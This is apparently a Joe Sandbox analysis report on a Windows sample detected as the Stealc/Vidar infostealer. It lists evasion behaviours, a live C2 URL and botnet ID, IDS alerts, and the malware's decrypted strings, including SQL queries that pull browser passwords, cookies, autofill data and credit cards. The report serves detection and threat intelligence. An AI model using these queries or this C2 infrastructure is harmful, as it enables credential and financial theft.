Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545672
MD5:	46c95e73e7f395f0e6d8a85e119d7542
SHA1:	60e4403cf09f9afbffa2b56299e2caaf0d904bb6
SHA256:	4b451122e63405968db447901df6235c68fc6832899a52bbd296b0278ef56761
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7480 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 46C95E73E7F395F0E6D8A85E119D7542)

chrome.exe (PID: 7728 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2664,i,14017048804474343399,16235251549594865908,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1676707184.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2065495419.000000000113E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2064326724.0000000000481000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.480000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7480, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7728, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:01.883307+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:01.876691+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:02.157959+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:03.272293+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:02.175310+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:01.595244+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:13:03.816840+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T20:13:22.169459+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:25.238390+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:26.922820+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:28.104915+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:31.692425+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:32.414380+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.480000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.480000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.480000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.480000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.480000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.480000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.480000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.480000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.480000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.480000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.480000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.480000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.480000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.480000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.480000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.480000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.480000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.480000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.480000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.480000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.480000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.480000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.480000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.480000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.480000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.480000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.480000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.480000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.480000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.480000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.480000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.480000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.480000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.480000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.480000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.480000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.480000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.480000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.480000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.480000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.480000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.480000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.480000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.480000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.480000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.480000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.480000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.480000.0.unpack	String decryptor: history
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.480000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.480000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.480000.0.unpack	String decryptor: History
Source: 0.2.file.exe.480000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.480000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.480000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.480000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.480000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.480000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.480000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.480000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.480000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.480000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.480000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.480000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.480000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.480000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.480000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.480000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.480000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.480000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.480000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.480000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.480000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.480000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Threads:
